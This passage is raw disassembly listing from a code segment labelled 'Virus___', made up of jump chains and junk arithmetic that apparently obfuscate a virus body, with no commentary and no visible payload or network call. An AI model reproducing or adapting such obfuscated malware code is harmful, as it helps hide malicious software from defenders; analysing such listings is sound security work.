[esp] btc [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_556ED4: ; CODE XREF: Virus___:0055AB07j mov ebp, 41873083h dec ebp inc ebp push edx mov edx, 3320417Fh and edx, 0F991394h inc edx not edx sub edx, 0A5451D88h add ebp, edx jmp loc_562271 ; --------------------------------------------------------------------------- loc_556EF7: ; CODE XREF: Virus___:0055DE47j add ecx, 70E0792Dh jmp loc_55243E ; --------------------------------------------------------------------------- loc_556F02: ; CODE XREF: Virus___:0055FDFBj push eax mov eax, 12044AF1h jmp loc_54FF8C ; --------------------------------------------------------------------------- loc_556F0D: ; CODE XREF: Virus___:00559245j inc edi xor edi, 5659188Fh push ecx mov ecx, 6D24AC7h sub edi, ecx jmp loc_55A861 ; --------------------------------------------------------------------------- loc_556F21: ; CODE XREF: Virus___:00552E9Dj sub cl, 0E7h pop eax xor al, cl jmp loc_55E541 ; --------------------------------------------------------------------------- loc_556F2C: ; CODE XREF: Virus___:0056079Cj mov [esp], ecx jmp loc_55F620 ; --------------------------------------------------------------------------- lodsb xor al, bl push 4341h mov [esp], ebx mov bh, 0D6h not bh jmp loc_556E56 ; --------------------------------------------------------------------------- loc_556F48: ; CODE XREF: Virus___:00550836j push edi mov edi, 12A0442h mov eax, 41594E09h xor eax, edi pop edi mov ebx, eax jmp loc_563900 ; --------------------------------------------------------------------------- loc_556F5D: ; CODE XREF: Virus___:00552315j shr edx, 1 xor edx, 5B294097h push edi jmp loc_55E66E ; --------------------------------------------------------------------------- loc_556F6B: ; CODE XREF: Virus___:0055C17Bj add [esp+4], ebx sub dword ptr [esp+4], 535C1D54h pop ebx pop eax push edx push esi mov esi, 1AF252D0h sub esi, 1AF252CCh mov edx, esi pop esi sub eax, 70A54FD4h add eax, edx push edi mov edi, 16777E20h add edi, 5A590BB8h jmp loc_55C06D ; --------------------------------------------------------------------------- loc_556FA1: ; CODE XREF: Virus___:0055D592j mov eax, 4EB869B0h dec eax inc eax jmp loc_54FE91 ; --------------------------------------------------------------------------- loc_556FAD: ; CODE XREF: Virus___:0055C5EEj push edi mov edi, 4 jmp loc_55DF4B ; --------------------------------------------------------------------------- loc_556FB8: ; CODE XREF: Virus___:00562B4Aj mov [esp], eax jmp loc_56074E ; --------------------------------------------------------------------------- loc_556FC0: ; CODE XREF: Virus___:005612EBj pop esi or esi, 7CF625E6h add esi, 1A395E6Fh xor esi, 982FCE61h mov ebx, esi jmp loc_557D7D ; --------------------------------------------------------------------------- loc_556FDA: ; CODE XREF: Virus___:00564252j mov ebp, 4 sub edx, 30767176h push esi mov esi, 25E94E74h jmp loc_560CE4 ; --------------------------------------------------------------------------- loc_556FF0: ; CODE XREF: Virus___:00551E09j dec cl add cl, 0F6h jmp loc_55282F ; --------------------------------------------------------------------------- loc_556FFA: ; CODE XREF: Virus___:0056246Bj mov ecx, 64754385h and edi, ecx pop ecx neg edi sub edi, 840DF6FAh sub esi, edi pop edi push dword ptr [esp] mov ebx, [esp] jmp loc_558289 ; --------------------------------------------------------------------------- loc_557018: ; CODE XREF: Virus___:00556472j shl eax, 2 sub eax, 0FFFFFFFFh add eax, 320210B1h add esi, eax jmp loc_56083E ; --------------------------------------------------------------------------- loc_55702A: ; CODE XREF: Virus___:0055F9EBj pop ecx xchg eax, [esp] jmp loc_558C5B ; --------------------------------------------------------------------------- loc_557033: ; CODE XREF: Virus___:00561F84j add eax, 4 push ebp mov ebp, 13E147C8h dec ebp add ebp, 0EC1EB83Dh sub eax, ebp jmp loc_564A5F ; --------------------------------------------------------------------------- loc_55704C: ; CODE XREF: Virus___:005542EFj add edx, 36A736D8h add edx, ebp sub edx, 36A736D8h push esi mov esi, 4414539Ch add esi, 0C79CFB3Bh sub edx, esi pop esi mov ebp, [esp] add esp, 4 jmp loc_552ED5 ; --------------------------------------------------------------------------- loc_557077: ; CODE XREF: Virus___:0055DE6Dj push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], eax mov ah, 0F8h push ebx mov bl, 24h jmp loc_560460 ; --------------------------------------------------------------------------- loc_55709F: ; CODE XREF: Virus___:005616A2j sub dword ptr [esp+8], 5F1F48C7h sub [esp+8], edx add dword ptr [esp+8], 5F1F48C7h pop edx pop eax push dword ptr [esp] pop ebx push 1E02h mov [esp], ecx push 5558h mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_562A20 ; --------------------------------------------------------------------------- loc_5570E5: ; CODE XREF: Virus___:00562854j pop ebp sub ecx, 0FFFFFFFFh inc ecx jmp loc_555083 ; --------------------------------------------------------------------------- loc_5570EF: ; CODE XREF: Virus___:0055E888j add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, 4 sub edx, ebp pop ebp xor edx, [esp] jmp loc_5608AA ; --------------------------------------------------------------------------- loc_557110: ; CODE XREF: Virus___:00560F37j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_557115: ; CODE XREF: Virus___:0056448Cj pop esp mov [esp], edx mov edx, 0D006D72h or edx, 22FF5441h push edx neg dword ptr [esp] pop edx sub edx, 0F02A4BDDh add edi, edx pop edx jmp loc_553CB7 ; --------------------------------------------------------------------------- loc_557137: ; CODE XREF: Virus___:00556E5Cj not bh xor bh, 0AEh push cx mov cl, 0FAh add bh, cl mov cx, [esp] add esp, 2 add al, 31h sub al, bh push edx mov dl, 39h add dl, 3Eh shl dl, 6 shr dl, 1 neg dl xor dl, 91h sub al, dl pop edx push dword ptr [esp] jmp loc_5549F6 ; --------------------------------------------------------------------------- loc_557168: ; CODE XREF: Virus___:00561829j or ebx, 34E5037h add ebx, 1 shr ebx, 2 push eax mov eax, 0E1002126h sub ebx, 440A7C33h jmp loc_55283A ; --------------------------------------------------------------------------- loc_557185: ; CODE XREF: Virus___:0055FC18j mov [esp], ebp push ebx mov ebx, 11A1FCAh jmp loc_55E47A ; --------------------------------------------------------------------------- loc_557193: ; CODE XREF: Virus___:00559C4Aj pop esi shr edx, 8 shr edx, 6 sub edx, 2E3Ah sub ebx, 6C84247Bh add ebx, edx push edx jmp loc_55E291 ; --------------------------------------------------------------------------- lodsb jmp loc_559437 ; --------------------------------------------------------------------------- loc_5571B4: ; CODE XREF: Virus___:005540F6j mov [esp], esp add dword ptr [esp], 4 jmp loc_55FB46 ; --------------------------------------------------------------------------- loc_5571C3: ; CODE XREF: Virus___:005543B4j add cl, 31h and cl, 0ECh not cl jmp loc_564227 ; --------------------------------------------------------------------------- loc_5571D0: ; CODE XREF: Virus___:00550669j xor esi, 0B5B01C1h push esi mov eax, [esp] add esp, 4 mov esi, [esp] jmp loc_563F0A ; --------------------------------------------------------------------------- loc_5571E5: ; CODE XREF: Virus___:0055B32Dj sub esi, 4 xchg esi, [esp] pop esp jmp loc_557939 ; --------------------------------------------------------------------------- loc_5571F4: ; CODE XREF: Virus___:005641CEj add esp, 4 and bl, 0DBh jmp loc_55FD59 ; --------------------------------------------------------------------------- loc_5571FF: ; CODE XREF: Virus___:00550534j mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push edi mov edi, 4 add [esp+4], edi jmp loc_5598BA ; --------------------------------------------------------------------------- loc_55721B: ; CODE XREF: Virus___:00551495j add dword ptr [esp], 76E01170h pop eax sub eax, 76E01170h jmp loc_55CFC5 ; --------------------------------------------------------------------------- loc_55722D: ; CODE XREF: Virus___:0055386Bj add edx, eax mov eax, [esp] add esp, 4 xchg edx, [esp] pop esp add edx, 4 push eax mov eax, 2 add edx, 1A8869F3h jmp loc_55ECC7 ; --------------------------------------------------------------------------- loc_557253: ; CODE XREF: Virus___:00559962j mov edi, esp add edi, 4 jmp loc_553075 ; --------------------------------------------------------------------------- loc_557260: ; CODE XREF: Virus___:0055E615j pop eax std push edi push esi jmp loc_55D0C7 ; --------------------------------------------------------------------------- loc_557269: ; CODE XREF: Virus___:00553B0Ej add ebp, 343374DDh mov edi, [esp] add esp, 4 jmp loc_5577AB ; --------------------------------------------------------------------------- loc_55727D: ; CODE XREF: Virus___:00560F44j sub esp, 4 mov [esp], edx push 6FD72087h pop edx add edx, 9028DF7Dh jmp loc_553506 ; --------------------------------------------------------------------------- loc_557297: ; CODE XREF: Virus___:005553B2j dec edx jmp loc_553B69 ; --------------------------------------------------------------------------- loc_55729D: ; CODE XREF: Virus___:005628B2j add edx, 7ACD3EA4h pop esi pop eax shl edx, 2 jmp loc_5530A7 ; --------------------------------------------------------------------------- lodsb jmp loc_5543B0 ; --------------------------------------------------------------------------- loc_5572B3: ; CODE XREF: Virus___:00558A9Aj add esp, 4 jmp loc_551DA1 ; --------------------------------------------------------------------------- loc_5572BE: ; CODE XREF: Virus___:00550794j add esi, 49626D0Ah or edi, esi jmp loc_5509E2 ; --------------------------------------------------------------------------- loc_5572CB: ; CODE XREF: Virus___:0055DDB6j mov [esp], ebx mov ebx, 4 add ebp, ebx push dword ptr [esp] pop ebx push esi jmp loc_556629 ; --------------------------------------------------------------------------- loc_5572DF: ; CODE XREF: Virus___:00561EE2j add eax, ecx sub eax, 48DB7F08h mov ecx, [esp] jmp loc_55DB45 ; --------------------------------------------------------------------------- loc_5572EE: ; CODE XREF: Virus___:005586F9j mov eax, 7B2C306Fh mov ecx, eax pop eax mov edi, 7B2C3073h jmp loc_55C13C ; --------------------------------------------------------------------------- loc_557300: ; CODE XREF: Virus___:00558C0Bj mov esi, 4 add edx, esi pop esi xchg edx, [esp] jmp loc_554A20 ; --------------------------------------------------------------------------- loc_557310: ; CODE XREF: Virus___:00558852j mov ebp, edi pop edi add esi, 13046C84h add esi, ebp jmp loc_550A2F ; --------------------------------------------------------------------------- loc_557320: ; CODE XREF: Virus___:0056101Ej pop esi push ebp mov ebp, esp add ebp, 4 push 61DBh mov [esp], eax mov eax, 4 add ebp, eax pop eax jmp loc_55930E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55734E: ; CODE XREF: Virus___:0055BCE9j pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] mul cl movzx cx, ah jmp loc_560B1A ; --------------------------------------------------------------------------- loc_557365: ; CODE XREF: Virus___:00558BEBj add esi, eax push dword ptr [esp] pop eax add esp, 4 push edi jmp loc_561C19 ; --------------------------------------------------------------------------- loc_557374: ; CODE XREF: Virus___:0055CB64j push edi push ecx mov ecx, 38503170h jmp loc_55F7D0 ; --------------------------------------------------------------------------- loc_557380: ; CODE XREF: Virus___:0055B814j push edi mov edi, 4 sub ebp, 0DC04403h add ebp, edi add ebp, 0DC04403h jmp loc_55076D ; --------------------------------------------------------------------------- loc_557399: ; CODE XREF: Virus___:0054F885j shl eax, 6 dec eax add eax, 29959D1h shr eax, 6 shl eax, 8 add eax, 1B313F04h mov ebx, eax pop eax jmp loc_55B735 ; --------------------------------------------------------------------------- loc_5573B5: ; CODE XREF: Virus___:00554180j push 6176h mov [esp], edx mov edx, 2 add ebp, 4BAE0955h add ebp, edx jmp loc_55F3D1 ; --------------------------------------------------------------------------- loc_5573CF: ; CODE XREF: Virus___:0055D212j xor edx, 6E9226CEh xor edx, 0C4D5028h add ecx, edx pop edx xchg ecx, [esp] jmp loc_55A0EC ; --------------------------------------------------------------------------- loc_5573E6: ; CODE XREF: Virus___:0055F900j add ebx, 4 push eax push eax jmp loc_55CB0D ; --------------------------------------------------------------------------- loc_5573F3: ; CODE XREF: Virus___:0055B52Ej mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 jmp loc_553BBA ; --------------------------------------------------------------------------- loc_55740D: ; CODE XREF: Virus___:00556A20j push eax jmp loc_55C3FA ; --------------------------------------------------------------------------- loc_557413: ; CODE XREF: Virus___:0055FE9Ej pop esi add ecx, ebp mov ebp, [esp] jmp loc_550D92 ; --------------------------------------------------------------------------- loc_55741E: ; CODE XREF: Virus___:00554126j mov [esp], dx mov dl, 0B4h jmp loc_55BF91 ; --------------------------------------------------------------------------- loc_557429: ; CODE XREF: Virus___:00563839j pop esi jmp loc_5581B1 ; --------------------------------------------------------------------------- loc_55742F: ; CODE XREF: Virus___:005534DBj mov esi, 654F052Bh inc esi add esi, 0FFFFFFFFh xor esi, 306A1619h dec esi add esi, 2E32603Ah sub ebx, esi pop esi xor ebp, ebx pop ebx jmp loc_552FFB ; --------------------------------------------------------------------------- lodsd jmp loc_55A2E2 ; --------------------------------------------------------------------------- loc_557456: ; CODE XREF: Virus___:005576F0j push ebp push esp pop ebp sub esp, 4 jmp loc_555B59 ; --------------------------------------------------------------------------- loc_557461: ; CODE XREF: Virus___:0055DBD4j add al, ch push 0A53h mov [esp], ebx jmp loc_564CB8 ; --------------------------------------------------------------------------- loc_557470: ; CODE XREF: Virus___:0054F872j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_557475: ; CODE XREF: Virus___:0055A9CCj add dword ptr [esp], 1ECF1127h jmp loc_561077 ; --------------------------------------------------------------------------- loc_557481: ; CODE XREF: Virus___:0055FEB3j add esp, 4 jmp loc_56236F ; --------------------------------------------------------------------------- loc_55748C: ; CODE XREF: Virus___:0056108Bj push edi push esp pop edi add edi, 4 push esi mov esi, 4 jmp loc_562356 ; --------------------------------------------------------------------------- loc_5574A0: ; CODE XREF: Virus___:00554C45j mov ebp, 432C5183h push esi mov esi, 299A1B72h sub ebp, esi pop esi mov esi, ebp mov ebp, [esp] add esp, 4 xor esi, 4E984CBDh jmp loc_55102E ; --------------------------------------------------------------------------- loc_5574C1: ; CODE XREF: Virus___:0055DC20j add esp, 4 jmp loc_551744 ; --------------------------------------------------------------------------- loc_5574C9: ; CODE XREF: Virus___:00556796j sub esp, 4 mov [esp], ebx mov ebx, 29D30A7Bh shr ebx, 8 jmp loc_56085C ; --------------------------------------------------------------------------- loc_5574DF: ; CODE XREF: Virus___:00563F7Ej and bl, 69h add bl, 0FFh shl bl, 1 shl bl, 1 sub bl, 61h and ah, bl jmp loc_553B60 ; --------------------------------------------------------------------------- loc_5574F3: ; CODE XREF: Virus___:0055B49Fj sub esp, 4 mov [esp], edi mov edi, 37347DFh add edi, 1 sub esp, 4 mov [esp], eax mov eax, 27676538h xor edi, eax jmp loc_55F16D ; --------------------------------------------------------------------------- loc_557519: ; CODE XREF: Virus___:00550944j sub esp, 4 jmp loc_55205E ; --------------------------------------------------------------------------- loc_557524: ; CODE XREF: Virus___:005524C0j sub edi, esi pop esi mov eax, edi pop edi push edi mov edi, 57CF1DBCh and edi, 1007B65h dec edi neg edi inc edi xor edi, 0D21ED7E6h sub eax, edi mov edi, [esp] add esp, 4 shl eax, 1 push ebx push ecx push 5ACE0A7Bh mov ecx, [esp] jmp loc_55410D ; --------------------------------------------------------------------------- loc_557559: ; CODE XREF: Virus___:005648AEj add edi, ebp mov ebp, [esp] add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, 2 add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] jmp loc_5512C8 ; --------------------------------------------------------------------------- loc_557589: ; CODE XREF: Virus___:0056220Aj add eax, 299835C3h sub eax, 76F776C3h pop ebx push esi mov esi, 4 add eax, esi pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push esi push ecx mov ecx, 27521596h jmp loc_551FD5 ; --------------------------------------------------------------------------- loc_5575B5: ; CODE XREF: Virus___:005643A0j add [esp+4], eax sub dword ptr [esp+4], 517821FEh pop eax pop edx push 6987h mov [esp], ecx sub esp, 4 mov [esp], eax mov eax, 47927479h mov ecx, 4EACB84Eh sub ecx, eax pop eax sub edx, ecx jmp loc_55073E ; --------------------------------------------------------------------------- loc_5575E8: ; CODE XREF: Virus___:005612B9j xor [esp], edi jmp loc_555787 ; --------------------------------------------------------------------------- loc_5575F0: ; CODE XREF: Virus___:00558D50j dec dword ptr [esp] pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5575F9: ; CODE XREF: Virus___:00559D12j add ebp, 0B1709CEh sub ecx, ebp pop ebp push ebx jmp loc_55CB2C ; --------------------------------------------------------------------------- loc_557608: ; CODE XREF: Virus___:00551B31j add esp, 4 jmp loc_55DC6C ; --------------------------------------------------------------------------- loc_557610: ; CODE XREF: Virus___:0055604Ej push ebp mov ebp, 31D6303Dh xor ebp, 31D63039h add ecx, ebp pop ebp push 17F1h mov [esp], eax mov eax, 4 jmp loc_55D4E9 ; --------------------------------------------------------------------------- loc_557631: ; CODE XREF: Virus___:00551EF6j sub esi, 0DD4EF38h jmp loc_55EF9B ; --------------------------------------------------------------------------- loc_55763C: ; CODE XREF: Virus___:0055373Bj push dword ptr [esp+4] push dword ptr [esp] jmp loc_5600D4 ; --------------------------------------------------------------------------- loc_557648: ; CODE XREF: Virus___:00553141j add eax, 31444D62h add eax, edi push ebx mov ebx, 7A8709BDh sub ebx, 4C3C7CB5h xor ebx, 76E3401h push eax mov eax, 159943B6h or ebx, eax pop eax and ebx, 143B17C8h shr ebx, 4 sub ebx, 0CFFF43D6h jmp loc_5597D8 ; --------------------------------------------------------------------------- loc_55767E: ; CODE XREF: Virus___:0055641Bj pop ebp add edx, 4 xchg edx, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, 4 jmp loc_55C704 ; --------------------------------------------------------------------------- loc_55769C: ; CODE XREF: Virus___:00554B34j add ebp, 1CAD5B74h jmp loc_550603 ; --------------------------------------------------------------------------- loc_5576A7: ; CODE XREF: Virus___:0055ECA5j mov esi, 1D707BE1h not esi not esi dec esi jmp loc_54FD9F ; --------------------------------------------------------------------------- loc_5576B6: ; CODE XREF: Virus___:00564212j sub eax, 4 jmp loc_55E344 ; --------------------------------------------------------------------------- loc_5576C0: ; CODE XREF: Virus___:0055845Cj push edx mov edx, 436A4008h sub edx, 2EA831A3h neg edx sub edx, 7CAF7FF9h push esi mov esi, 337230C8h jmp loc_551B36 ; --------------------------------------------------------------------------- loc_5576DF: ; CODE XREF: Virus___:00561467j push esp pop ecx add ecx, 4 jmp loc_563444 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_557456 ; --------------------------------------------------------------------------- loc_5576F5: ; CODE XREF: Virus___:005565AEj and dh, al pop ax jmp loc_55EF75 ; --------------------------------------------------------------------------- loc_5576FE: ; CODE XREF: Virus___:00558F2Dj push 3D4Fh mov [esp], eax mov ah, 4Dh jmp loc_550E49 ; --------------------------------------------------------------------------- loc_55770D: ; CODE XREF: Virus___:0056194Ej not ebx push esi mov esi, 4E2E6300h add ebx, esi pop esi jmp loc_5534DA ; --------------------------------------------------------------------------- loc_55771D: ; CODE XREF: Virus___:0055F411j pop edx add edx, 0E0A059Ah jmp loc_552E2F ; --------------------------------------------------------------------------- loc_557729: ; CODE XREF: Virus___:0055EF36j mov edx, [esp] add esp, 4 xor edx, 6513BF97h sub ebx, edx pop edx push 6E7Eh mov [esp], ecx push eax mov al, 33h shr al, 2 neg al neg al sub al, 51h push ebx mov bh, al mov cl, bh jmp loc_5555B3 ; --------------------------------------------------------------------------- loc_557759: ; CODE XREF: Virus___:00558CBEj add edx, 1D8073B7h add edx, 4E875A89h shl edx, 3 sub edx, 2BEB8248h or eax, edx pop edx inc eax add eax, 288133A9h neg eax not eax add eax, 83393958h sub ecx, eax pop eax add ebx, ecx push dword ptr [esp] jmp loc_5579FA ; --------------------------------------------------------------------------- loc_55778D: ; CODE XREF: Virus___:005591E0j push edx mov dl, 50h jmp loc_55D31D ; --------------------------------------------------------------------------- loc_557795: ; CODE XREF: Virus___:0055B689j mov [esp], eax mov ah, 0EDh jmp loc_5613C1 ; --------------------------------------------------------------------------- loc_55779F: ; CODE XREF: Virus___:00562FB2j movzx cx, al push cx pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5577AB: ; CODE XREF: Virus___:00557278j sub ebp, 4 push ebp jmp loc_55D53C ; --------------------------------------------------------------------------- loc_5577B4: ; CODE XREF: Virus___:0055B8DAj mov [esp], eax xor dword ptr [esp], 2EDB1A42h push dword ptr [esp] jmp loc_55B218 ; --------------------------------------------------------------------------- loc_5577C6: ; CODE XREF: Virus___:005594F9j mov eax, [esp] add esp, 4 and ebx, 4A8E4DCAh push eax mov eax, 246B1F83h jmp loc_55A6B0 ; --------------------------------------------------------------------------- loc_5577DD: ; CODE XREF: Virus___:0055CFCEj xor ebx, 73827A0Dh jmp loc_562C7E ; --------------------------------------------------------------------------- loc_5577E8: ; CODE XREF: Virus___:0055BF58j add ebx, eax sub ebx, 4DFE33E8h jmp loc_554568 ; --------------------------------------------------------------------------- loc_5577F5: ; CODE XREF: Virus___:00557FD9j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5577FA: ; CODE XREF: Virus___:005640E5j add esp, 4 jmp loc_554D03 ; --------------------------------------------------------------------------- loc_557802: ; CODE XREF: Virus___:0055ADC0j push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] xor ebp, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_55655E ; --------------------------------------------------------------------------- loc_557827: ; CODE XREF: Virus___:00561474j add esp, 4 add esi, ecx pop ecx add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_557845: ; CODE XREF: Virus___:005628DCj push 4EB1h mov [esp], esi jmp loc_561AC0 ; --------------------------------------------------------------------------- loc_557852: ; CODE XREF: Virus___:00563826j push esi jmp loc_5632FE ; --------------------------------------------------------------------------- loc_557858: ; CODE XREF: Virus___:00562372j pop edi push edx mov edx, esp sub esp, 4 jmp loc_553F89 ; --------------------------------------------------------------------------- loc_557867: ; CODE XREF: Virus___:00562C49j xor word ptr [esp], 57C7h pop bx xor bx, 57C7h pop edi jmp loc_555D7A ; --------------------------------------------------------------------------- loc_55787A: ; CODE XREF: Virus___:0055E28Cj sub edi, 4 xchg edi, [esp] jmp loc_553491 ; --------------------------------------------------------------------------- loc_557888: ; CODE XREF: Virus___:0055DA81j mov edi, [esp] jmp loc_558731 ; --------------------------------------------------------------------------- loc_557890: ; CODE XREF: Virus___:00550FA0j dec ebp and ebp, 0C245F86h push eax mov eax, 5076150Bh neg eax jmp loc_5595E3 ; --------------------------------------------------------------------------- loc_5578A4: ; CODE XREF: Virus___:00556C4Dj push 7467h mov [esp], esi jmp loc_562C98 ; --------------------------------------------------------------------------- loc_5578B1: ; CODE XREF: Virus___:0055A2B4j mov eax, [esp] add esp, 4 add cl, 0F0h xor al, cl pop ecx sub esp, 4 mov [esp], ebx mov bl, 0D8h not bl inc bl or bl, 41h jmp loc_55B9D2 ; --------------------------------------------------------------------------- loc_5578D4: ; CODE XREF: Virus___:00550456j mov [esp], ebp push dword ptr [esp+4] jmp loc_55E384 ; --------------------------------------------------------------------------- loc_5578E0: ; CODE XREF: Virus___:0055C87Fj add edx, ebp pop ebp dec edx sub edx, 2CEF4BDCh add ebx, 212599Ah jmp loc_55CAAE ; --------------------------------------------------------------------------- loc_5578F5: ; CODE XREF: Virus___:0055D971j add ecx, 4 xchg ecx, [esp] pop esp and ebx, eax jmp loc_555714 ; --------------------------------------------------------------------------- loc_557906: ; CODE XREF: Virus___:00559504j sub edx, ebx jmp loc_5623BB ; --------------------------------------------------------------------------- loc_55790D: ; CODE XREF: Virus___:0055494Fj push edx jmp loc_552E11 ; --------------------------------------------------------------------------- loc_557913: ; CODE XREF: Virus___:0055C5E7j pop ecx push ecx mov ecx, 2BB37BAh push edx mov edx, 5EA14BE5h add ebp, edx jmp loc_55EC5E ; --------------------------------------------------------------------------- loc_557927: ; CODE XREF: Virus___:00562441j add esp, 4 push edx mov edx, 4 add eax, edx pop edx push ebx jmp loc_550B80 ; --------------------------------------------------------------------------- loc_557939: ; CODE XREF: Virus___:005571EFj mov [esp], edi push ebx mov ebx, 5F387130h mov edi, ebx pop ebx sub [esp+4], edi jmp loc_55CB25 ; --------------------------------------------------------------------------- loc_55794E: ; CODE XREF: Virus___:005645CDj sub ebx, 3196FFCh sub ecx, 30524202h jmp loc_55D390 ; --------------------------------------------------------------------------- loc_55795F: ; CODE XREF: Virus___:00562FA1j sub ebx, 39DB4D5Dh add ebx, ecx add ebx, 39DB4D5Dh mov ecx, [esp] add esp, 4 add eax, ebx push dword ptr [esp] pop ebx add esp, 4 xchg eax, [esp] jmp loc_55FC22 ; --------------------------------------------------------------------------- loc_557987: ; CODE XREF: Virus___:0055B94Fj push 36Eh mov [esp], eax mov eax, 68E5574h sub [esp+4], eax pop eax push eax push esi jmp loc_5645D8 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 6CCh mov [esp], ebx jmp loc_55A94C ; --------------------------------------------------------------------------- loc_5579B0: ; CODE XREF: Virus___:005617DDj add edi, 4 jmp loc_5501D0 ; --------------------------------------------------------------------------- loc_5579BB: ; CODE XREF: Virus___:0056422Dj push edx mov dl, cl push eax mov al, dl mov bl, al pop eax jmp loc_56069C ; --------------------------------------------------------------------------- loc_5579C9: ; CODE XREF: Virus___:0054FD9Aj mov al, bl not al jmp loc_55BCBF ; --------------------------------------------------------------------------- loc_5579D2: ; CODE XREF: Virus___:00562888j mov eax, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] jmp loc_5545C2 ; --------------------------------------------------------------------------- mov ax, [esp] push 6CC3h mov [esp], eax jmp loc_560EA0 ; --------------------------------------------------------------------------- loc_5579F4: ; CODE XREF: Virus___:00556280j push eax jmp loc_550AC2 ; --------------------------------------------------------------------------- loc_5579FA: ; CODE XREF: Virus___:00557788j pop ecx jmp loc_5633F0 ; --------------------------------------------------------------------------- loc_557A00: ; CODE XREF: Virus___:00562244j push edi mov edi, 28C767C4h sub eax, edi pop edi add eax, ebp add eax, 28C767C4h pop ebp xchg eax, [esp] jmp loc_551D3F ; --------------------------------------------------------------------------- loc_557A19: ; CODE XREF: Virus___:00557E32j pop ebx push ecx sub dword ptr [esp], 1931906h pop dword ptr [edi+20h] add dword ptr [edi+20h], 1931906h jmp loc_551FA9 ; --------------------------------------------------------------------------- loc_557A31: ; CODE XREF: Virus___:005585A6j not ebp sub ebp, 0A72B531Dh mov esi, ebp mov ebp, [esp] jmp loc_54FBEC ; --------------------------------------------------------------------------- loc_557A43: ; CODE XREF: Virus___:00556669j pop esp add esp, 4 pop eax and eax, ebx mov ebx, [esp] push 1DEAh mov [esp], edx push esp pop edx add edx, 4 jmp loc_55E179 ; --------------------------------------------------------------------------- loc_557A65: ; CODE XREF: Virus___:0055978Bj add ebx, 4 jmp loc_5544E0 ; --------------------------------------------------------------------------- loc_557A70: ; CODE XREF: Virus___:0055F21Fj mov [esp], edx mov dh, ch sub esp, 4 jmp loc_55C5C2 ; --------------------------------------------------------------------------- loc_557A7D: ; CODE XREF: Virus___:00558CFAj xor ebp, 21E612CEh add ebp, 1CD18B9Bh add ecx, ebp pop ebp sub ecx, 0D4197CCDh mov esi, ecx pop ecx push esi neg dword ptr [esp] pop esi and esi, 0EEA71E8h shl esi, 4 dec esi sub esi, 280C9C47h mov edi, esi pop esi mov ecx, 3E66191Ah xor ecx, 64F26F58h add ecx, 23944BFDh jmp loc_56440F ; --------------------------------------------------------------------------- loc_557AC3: ; CODE XREF: Virus___:005539A4j mov ecx, [esp] sub esp, 4 jmp loc_55A712 ; --------------------------------------------------------------------------- loc_557ACE: ; CODE XREF: Virus___:0055EBEBj push esp pop ecx sub esp, 4 mov [esp], edi push edx jmp loc_55F3DE ; --------------------------------------------------------------------------- loc_557ADF: ; CODE XREF: Virus___:005639C3j pop edx inc eax inc eax sub eax, 0FFFFFFFFh dec eax jmp loc_55AB5A ; --------------------------------------------------------------------------- loc_557AEB: ; CODE XREF: Virus___:0055A265j mov ah, 0 sub ah, 8Dh add ah, 6Bh sub ah, cl sub ah, 6Bh add ah, 8Dh pop ecx push ecx mov ch, 95h jmp loc_55F3F6 ; --------------------------------------------------------------------------- lodsb jmp loc_559083 ; --------------------------------------------------------------------------- loc_557B0A: ; CODE XREF: Virus___:0055E10Bj add esp, 4 push edx mov edx, 4 add edi, edx push dword ptr [esp] pop edx jmp loc_55B2FC ; --------------------------------------------------------------------------- loc_557B1E: ; CODE XREF: Virus___:00556A36j push esp pop ebp add ebp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_55F1B9 ; --------------------------------------------------------------------------- loc_557B3A: ; CODE XREF: Virus___:00560DF7j pop esp mov [esp], esi push edx mov edx, 11343824h push eax mov eax, edx jmp loc_54FBB0 ; --------------------------------------------------------------------------- loc_557B4C: ; CODE XREF: Virus___:00552612j add ecx, esi jmp loc_55316A ; --------------------------------------------------------------------------- loc_557B53: ; CODE XREF: Virus___:00559F97j pop ebx push ebx mov bh, al not bh mov al, bh pop ebx jmp loc_552243 ; --------------------------------------------------------------------------- loc_557B61: ; CODE XREF: Virus___:0055D31Ej mov al, 0D3h shl al, 1 jmp loc_56306B ; --------------------------------------------------------------------------- loc_557B6A: ; CODE XREF: Virus___:0055B2DFj add edi, 4 push esi jmp loc_550D6E ; --------------------------------------------------------------------------- loc_557B76: ; CODE XREF: Virus___:0055EB24j push eax mov eax, 25B96E48h sub eax, 2EDB0D32h neg eax push ebx mov ebx, 495019BFh inc ebx xor ebx, 67E23375h neg ebx add ebx, 58556DFDh xor ebx, 620BE050h add eax, ebx pop ebx mov edx, eax mov eax, [esp] add esp, 4 xor edx, 284E2D44h add edi, 72944C0Dh sub edi, edx sub edi, 72944C0Dh pop edx pop ebp push edx mov edx, 343374DDh sub ebp, edx pop edx jmp loc_553B0C ; --------------------------------------------------------------------------- loc_557BCD: ; CODE XREF: Virus___:00560BF9j mov ebx, 